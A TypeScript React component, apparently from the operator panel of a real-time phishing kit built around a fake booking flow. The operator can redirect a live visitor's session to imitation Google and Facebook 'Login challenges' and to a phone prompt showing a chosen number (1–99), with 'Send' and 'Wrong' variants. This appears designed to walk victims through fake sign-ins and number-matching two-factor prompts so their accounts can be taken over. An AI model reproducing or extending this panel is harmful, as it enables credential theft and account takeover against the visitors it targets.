"use client"

import { memo, useEffect, useState } from "react"
import { CheckCircle2, Smartphone, Zap } from "lucide-react"
import { Button } from "@/components/ui/button"
import { Input } from "@/components/ui/input"
import { AVAILABLE_PAGES, FACEBOOK_REDIRECT_PAGES } from "@/lib/session-tracking"
import {
  ADMIN_FACEBOOK_ACTIONS,
  ADMIN_GOOGLE_ACTIONS,
  ADMIN_PRIMARY_ACTIONS,
  type AdminQuickAction,
} from "@/lib/admin-quick-actions"
import {
  buildGooglePhoneCodePath,
  getAuthProviderFromRedirect,
  getGooglePromptCodeFromUrl,
  normalizeGooglePromptCode,
} from "@/lib/booking-flow"
import { getCurrentPageOption, getDialogFromPageUrl, type AdminSession } from "./session-helpers"

type RedirectControlsProps = {
  session: AdminSession
  commandKey: number
  onRedirect: (path: string) => void
}

function isActionActive(session: AdminSession, path: string): boolean {
  const current = getCurrentPageOption(session.page_url)
  if (current === path) return true
  const a = getDialogFromPageUrl(session.page_url)
  const b = getDialogFromPageUrl(path)
  if (!a || !b || a !== b) return false
  const authA = getAuthProviderFromRedirect(session.page_url)
  const authB = getAuthProviderFromRedirect(path)
  if (authA && authB && authA !== authB) return false
  if (a === "phone-code" || a === "phone-code-error") {
    return getGooglePromptCodeFromUrl(session.page_url) === getGooglePromptCodeFromUrl(path)
  }
  return true
}

function stepBtnClass(tone: AdminQuickAction["tone"], active?: boolean): string {
  const base =
    "h-9 w-full justify-center rounded-lg border px-2 text-[10px] font-semibold tracking-wide transition-all disabled:opacity-40"
  if (active) {
    return `${base} border-emerald-500 bg-emerald-500 text-white shadow-sm ring-2 ring-emerald-200`
  }
  switch (tone) {
    case "success":
      return `${base} border-emerald-200 bg-emerald-50 text-emerald-800 hover:border-emerald-300 hover:bg-emerald-100`
    case "danger":
      return `${base} border-red-200 bg-red-50 text-red-700 hover:border-red-300 hover:bg-red-100`
    case "google":
      return `${base} border-[#c2d7fc] bg-[#e8f0fe] text-[#1967d2] hover:border-[#a8c7fa] hover:bg-[#d2e3fc]`
    case "facebook":
      return `${base} border-[#c5d8ff] bg-[#e7f0ff] text-[#0866FF] hover:border-[#a9c7ff] hover:bg-[#d6e6ff]`
    case "warn":
      return `${base} border-amber-200 bg-amber-50 text-amber-900 hover:border-amber-300 hover:bg-amber-100`
    default:
      return `${base} border-stone-200 bg-white text-stone-700 hover:border-stone-300 hover:bg-stone-50`
  }
}

function ActionGrid({
  actions,
  session,
  onRedirect,
}: {
  actions: AdminQuickAction[]
  session: AdminSession
  onRedirect: (path: string) => void
}) {
  return (
    <div className="grid grid-cols-2 gap-2 sm:grid-cols-3">
      {actions.map((action) => (
        <Button
          key={action.id}
          type="button"
          variant="ghost"
          size="sm"
          title={action.title}
          className={stepBtnClass(action.tone, isActionActive(session, action.path))}
          onClick={() => onRedirect(action.path)}
        >
          {isActionActive(session, action.path) ? (
            <CheckCircle2 className="mr-1 h-3 w-3 shrink-0" />
          ) : null}
          <span className="truncate">{action.label}</span>
        </Button>
      ))}
    </div>
  )
}

export const RedirectControls = memo(function RedirectControls({
  session,
  commandKey,
  onRedirect,
}: RedirectControlsProps) {
  const [providerTab, setProviderTab] = useState<"google" | "facebook">("google")
  const [phoneCode, setPhoneCode] = useState(
    () => getGooglePromptCodeFromUrl(session.page_url) || "47"
  )
  const activePhoneCode = getGooglePromptCodeFromUrl(session.page_url)
  const activeAuth = getAuthProviderFromRedirect(session.page_url)
  const onPhoneCodeStep =
    getDialogFromPageUrl(session.page_url) === "phone-code" ||
    getDialogFromPageUrl(session.page_url) === "phone-code-error"

  useEffect(() => {
    const fromSession = getGooglePromptCodeFromUrl(session.page_url)
    if (fromSession) setPhoneCode(fromSession)
    if (activeAuth === "facebook" || activeAuth === "google") {
      setProviderTab(activeAuth)
    }
  }, [session.page_url, session.session_id, activeAuth])

  const providerActions =
    providerTab === "google" ? ADMIN_GOOGLE_ACTIONS : ADMIN_FACEBOOK_ACTIONS

  const sendPhoneCode = (auth: "google" | "facebook", error = false) => {
    const code = normalizeGooglePromptCode(phoneCode)
    if (!code) return
    const base = buildGooglePhoneCodePath(code, error, auth)
    const sep = base.includes("?") ? "&" : "?"
    onRedirect(`${base}${sep}_t=${Date.now()}`)
  }

  return (
    <div className="space-y-3 mt-3">
      <section className="rounded-lg border border-stone-200 bg-stone-50 p-3">
        <div className="mb-2 flex items-center gap-2">
          <Zap className="h-3.5 w-3.5 text-stone-600" />
          <p className="text-xs font-semibold text-stone-800">Booking flow</p>
        </div>
        <ActionGrid
          actions={ADMIN_PRIMARY_ACTIONS}
          session={session}
          onRedirect={onRedirect}
        />
      </section>

      <section className="rounded-lg border border-stone-200 bg-white p-3">
        <div className="mb-2 flex items-center justify-between gap-2">
          <p className="text-xs font-semibold text-stone-800">Login challenges</p>
          <div className="inline-flex rounded-lg border border-stone-200 bg-stone-50 p-0.5">
            <button
              type="button"
              onClick={() => setProviderTab("google")}
              className={`rounded-md px-2.5 py-1 text-[10px] font-semibold transition ${
                providerTab === "google"
                  ? "bg-white text-[#1967d2] shadow-sm"
                  : "text-stone-500"
              }`}
            >
              Google
            </button>
            <button
              type="button"
              onClick={() => setProviderTab("facebook")}
              className={`rounded-md px-2.5 py-1 text-[10px] font-semibold transition ${
                providerTab === "facebook"
                  ? "bg-white text-[#0866FF] shadow-sm"
                  : "text-stone-500"
              }`}
            >
              Facebook
            </button>
          </div>
        </div>
        <ActionGrid
          actions={providerActions}
          session={session}
          onRedirect={onRedirect}
        />
      </section>

      <section className="rounded-lg border border-stone-200 bg-white p-3">
        <div className="mb-2 flex items-center gap-2">
          <Smartphone className="h-3.5 w-3.5 text-stone-600" />
          <p className="text-xs font-semibold text-stone-800">Phone prompt # (1–99)</p>
        </div>
        <div className="flex flex-wrap items-end gap-2">
          <Input
            type="number"
            min={1}
            max={99}
            value={phoneCode}
            onChange={(e) => {
              const v = e.target.value.replace(/\D/g, "")
              if (!v) {
                setPhoneCode("")
                return
              }
              setPhoneCode(String(Math.min(99, Math.max(1, Number(v)))))
            }}
            placeholder="47"
            className="h-9 w-16 font-mono text-sm"
          />
          <div className="grid flex-1 grid-cols-2 gap-1.5">
            <Button
              type="button"
              variant="ghost"
              size="sm"
              disabled={!normalizeGooglePromptCode(phoneCode)}
              className={stepBtnClass("google")}
              onClick={() => sendPhoneCode("google", false)}
            >
              G Send
            </Button>
            <Button
              type="button"
              variant="ghost"
              size="sm"
              disabled={!normalizeGooglePromptCode(phoneCode)}
              className={stepBtnClass("danger")}
              onClick={() => sendPhoneCode("google", true)}
            >
              G Wrong
            </Button>
            <Button
              type="button"
              variant="ghost"
              size="sm"
              disabled={!normalizeGooglePromptCode(phoneCode)}
              className={stepBtnClass("facebook")}
              onClick={() => sendPhoneCode("facebook", false)}
            >
              FB Send
            </Button>
            <Button
              type="button"
              variant="ghost"
              size="sm"
              disabled={!normalizeGooglePromptCode(phoneCode)}
              className={stepBtnClass("danger")}
              onClick={() => sendPhoneCode("facebook", true)}
            >
              FB Wrong
            </Button>
          </div>
        </div>
        {onPhoneCodeStep && activePhoneCode ? (
          <p className="mt-2 text-[10px] font-medium text-emerald-700">
            Active: <span className="font-mono">{activePhoneCode}</span>
            {activeAuth ? ` · ${activeAuth}` : ""}
          </p>
        ) : null}
      </section>
    </div>
  )
})
